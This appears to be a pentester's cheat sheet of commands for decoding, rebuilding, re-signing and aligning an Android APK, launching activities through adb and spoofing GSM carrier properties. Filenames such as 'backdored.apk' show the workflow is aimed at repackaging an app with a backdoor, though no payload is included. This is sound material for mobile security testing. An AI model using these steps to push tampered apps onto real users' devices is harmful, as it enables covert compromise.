Basic tips

Getting certificate details from an apk

Getting certificate details from an apkkeytool -printcert -jarfile file.apk

apktool - decode and compile APK

java -jar .\apktool.jar decode -r 'C:\tmp\xxxxx.apk'

(inside the decompiled APK (root))
java -jar ..\apktool.jar build -o c:\tmp\new.apk C:\Tools\android\apk_folder

Create keystore key

 cd C:\Program Files\Java\jre1.8.0_251\bin
 keytool.exe -genkey -v -keystore c:\tmp\.keystore -keyalg RSA -keysize 2040 -validity 365 -alias baws
 
 (...)
 Generating 2,040 bit RSA key pair and self-signed certificate (SHA256withRSA) with a validity of 365 days
        for: CN=123, OU=123, O=123, L=123, ST=123, C=123
[Storing c:\tmp\.keystore]

Sign apk with jarsigner

Here, you need to use the alias created when you created the keystore file (baws, in this case).

cd C:\Program Files\AdoptOpenJDK\jdk-11.0.11.9-hotspot\bin
jarsigner.exe -sigalg SHA1withRSA -digestalg SHA1 c:\tmp\new.apk baws -keystore C:\tmp\.keystore

(...)
Enter Passphrase for keystore:
jar signed.

Warning:
The signer's certificate is self-signed.

Align APK to avoid errors

After sign an APK, if you got some erros such as "Failed to extract native libraries, res=-2]", probably you need to align the APK.

.\adb.exe install C:\tmp\backdored.apk
Performing Streamed Install
adb: failed to install C:\tmp\backdored.apk: Failure [INSTALL_FAILED_INVALID_APK: Failed to extract native libraries, res=-2]

Attention: You must use zipalign at one of two specific points in the app building process, depending on the app signing tool you use:

• If you use apksigner, only run zipalign before signing the apk file. If you sign your APK using apksigner and make other changes to the APK, the signature will be invalidated.

• If you use jarsigner, only run zipalign after signing the APK file.

As I used jarsigner, my last step is align the APK before installing it.

zipalign -p -f -v 4 backdored.apk backdored-aligned.apk

--now--
.\adb.exe install C:\tmp\backdored.apk

Execute target activity via ADB

First, check on the Android-Manifest.xml file the package name. It can be found on the first line of the XML file (<?xml version="1.0" encoding="utf-8" standalone="no" ... package="com.x.x.x.x" ...)

Next, pick a target activity, and add the android:name="com.x.x.com.x..v2.ui.dashboard.DashboardActivity"> .. 😇

 .\adb.exe shell am start com.xxx.xxx.xxx/com.xxx.xxx.v2.ui.dashboard.DashboardActivity

Add GSM

adb shell
setprop gsm.operator.numeric 64304
setprop gsm.sim.operator.numeric 64304
setprop gsm.sim.operator.alpha target
setprop gsm.operator.alpha target
setprop gsm.sim.operator.iso-country us
setprop gsm.operator.iso-country us

--validate--
getprop |grep gsm
